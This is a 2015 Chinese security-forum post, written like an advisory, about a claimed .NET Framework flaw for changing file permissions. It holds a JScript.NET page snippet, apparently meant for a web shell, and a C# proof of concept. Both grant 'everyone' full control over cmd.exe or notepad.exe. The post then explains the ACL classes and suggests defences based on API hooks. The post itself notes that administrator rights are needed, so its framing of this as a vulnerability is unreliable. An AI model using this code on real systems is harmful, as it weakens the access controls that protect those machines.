搜索
查看: 388|回复: 0

.NET Framework Arbitrary File Permissions Modify Vul

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-8-16 12:58:11 | 显示全部楼层 |阅读模式
catalog
  1. 1. Description
  2. 2. Effected Scope
  3. 3. Exploit Analysis
  4. 4. Principle Of Vulnerability
  5. 5. Patch Fix
复制代码
1. Description
通过.NET Framework的这个API漏洞,攻击者可以赋予任意程序文件执行权限
Relevant Link:
  1. http://www.wooyun.org/bugs/wooyun-2015-0104148
  2. https://butian.360.cn/vul/info/qid/QTVA-2015-198545
复制代码
2. Effected Scope
  1. Microsoft .NET Framework 2.0
  2. Microsoft .NET Framework 3.5
  3. Microsoft .NET Framework 3.5.1
  4. Microsoft .NET Framework 4
  5. Microsoft .NET Framework 4.5
  6. Microsoft .NET Framework 4.5.1
复制代码
3. Exploit Analysis
  1. try
  2. {
  3. var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";
  4. /*
  5. DirectoryInfo类,公开用于创建、移动和枚举目录和子目录的实例方法,此类不能被继承
  6. https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx
  7. */
  8. var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);


  9. /*
  10. GetAccessControl(): 获取DirectorySecurity对象,该对象封装当前DirectoryInfo对象所描述的目录的访问控制列表(ACL)项
  11. 返回一个DirectorySecurity对象,该对象封装此目录的访问控制规则
  12. https://msdn.microsoft.com/zh-cn/library/t1h6d4k4(v=vs.110).aspx
  13. */
  14. var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();

  15. /*
  16. AddAccessRule(FileSystemAccessRule): 将指定的访问控制列表(ACL)权限添加到当前文件或目录
  17. https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.directorysecurity(v=vs.110).aspx
  18. public FileSystemAccessRule(
  19. IdentityReference identity,
  20. FileSystemRights fileSystemRights,
  21. AccessControlType type
  22. )
  23. 1. identity: System.Security.Principal::IdentityReference: 封装对用户帐户的引用的 IdentityReference对象
  24. 2. fileSystemRights: System.Security.AccessControl::FileSystemRights:FileSystemRight 值之一,该值指定与访问规则关联的操作的类型
  25. 3. type: System.Security.AccessControl::AccessControlType: AccessControlType值之一,该值指定是允许还是拒绝该操作
  26. */
  27. dirsecurity.AddAccessRule(
  28. new System.Security.AccessControl.FileSystemAccessRule(
  29. strUser,
  30. System.Security.AccessControl.FileSystemRights.FullControl,
  31. System.Security.AccessControl.AccessControlType.Allow
  32. ));
  33. /*
  34. FileSystemAccessRule类: 表示定义文件或目录的访问规则的访问控制项 (ACE) 的抽象
  35. https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.filesystemaccessrule(v=vs.110).aspx
  36. */

  37. //SetAccessControl: 将DirectorySecurity对象所描述的访问控制列表(ACL)项应用于当前DirectoryInfo对象所描述的目录
  38. dirinfo.SetAccessControl(dirsecurity);
  39. Response.Write(strPath+"\t权限添加成功!");

  40. }
  41. catch(x)
  42. {
  43. Response.Write(x.Message);
  44. }
复制代码
Relevant Link:
  1. https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx
复制代码
0x1: POC
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;

  5. namespace poc
  6. {
  7. class Program
  8. {
  9. static void Main(string[] args)
  10. {
  11. try
  12. {
  13. String strPath = "C:\\notepad.exe", strUser = "everyone";
  14. System.IO.DirectoryInfo dirinfo = new System.IO.DirectoryInfo(strPath);
  15. System.Security.AccessControl.DirectorySecurity dirsecurity = dirinfo.GetAccessControl();

  16. dirsecurity.AddAccessRule(
  17. new System.Security.AccessControl.FileSystemAccessRule(
  18. strUser,
  19. System.Security.AccessControl.FileSystemRights.FullControl,
  20. System.Security.AccessControl.AccessControlType.Allow
  21. ));

  22. dirinfo.SetAccessControl(dirsecurity);
  23. Console.WriteLine(strPath+"\t权限添加成功!");

  24. }
  25. catch(Exception x)
  26. {
  27. Console.WriteLine(x.Message);
  28. }
  29. }
  30. }
  31. }
复制代码
4. Principle Of Vulnerability
使用.NET的Directory类,用户可通过DirectorySecurity对象的下列方法来访问目录的访问控制列表(ACL)
  1. 1. GetAccessControl: 返回一个目录的Windows ACL作为一个DirectorySecurity对象
  2. 2. SetAccessControl: 将DirectorySecurity对象的ACl入口赋予指定目录
复制代码
0x1: DirectorySecurity
DirectorySecurity类定义了如何对目录访问进行审计。该类是潜在的Windows文件安全系统(System.Security.AccessControl命名空间的一部分)的一个抽象,在该系统中,每个目录有一个自由决定的ACL来控制目录访问。同时,一个系统ACL决定对哪些访问控制进行审计。使用两个类来分别处理目录访问和审计
  1. 1. FileSystemAccessRule
  2. 2. FileSystemAuditRule
复制代码
ileSystemAccessRule类代表一个潜在的访问控制入口的抽象,访问控制入口用来指定用户账号,提供的访问类型(读、写等)以及是许可或拒绝某个权限。同时,该类还指定了如何将访问规则传递给子对象。FileSystemAuditRule类代表了为某个文件或目录定义审计规则的ACE
为了通过DirectorySecurity类为某个目录添加一条新规则,需要FileSystemAccessRule和FileSystemAuditRule两个类的新实例
  1. 1. 第一个参数: 指定每个应用该规则的用户、组或标识
  2. 2. 第二个参数: FileSystemRights列表,用来指定用户(由第一个参数指定)可以进行的操作,它包含很多可能的取值,包括
  3. 1) CreateDirectories
  4. 2) CreateFiles
  5. 3) Delete
  6. 4) FullControl
  7. 5) ListDirectory
  8. 3. 最后一个参数: 可用来指定用户能否执行参数二的操作。AccessControlType列表包括两个可能取值
  9. 1) 允许
  10. 2) 拒绝
  11. 用于FileSystemAuditRule类的第三个参数可从AuditFlags列表的Failure、None或Success中取值来设定审计级别。FileSystemAuditRule类的构造函数是重载的,这个方法是最基本的方法
复制代码
需要注意的是,需要使用管理员权限调用DirectorySecurity相关API
Relevant Link:
  1. http://developer.zdnet.com.cn/2007/0510/391302.shtml
  2. http://www.wyxit.com/article/201501/6731.html
复制代码
5. Patch Fix
.NET Framework和Java JVM本质上是一样的,都是在操作系统之上抽象出了一层虚拟机,从而允许”中间字节码”在虚拟机上运行,从而实现跨平台
在.NET Framework框架中,如果需要调用操作系统API实现操作系统功能,需要通过Native API接口,即通过DLL/SO来调用操作系统API,因此,我们的防御方案可以从以下方向展开
  1. 1. .NET Framework DirectorySecurityAPI涉及到的nativa API为
  2. 1) SetSecurityDescriptorDacl
  3. 2) SetFileSecurity
  4. 通过DLL/SO Hook实现管控

  5. 2. 在内核层执行路径上进行防御
复制代码


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表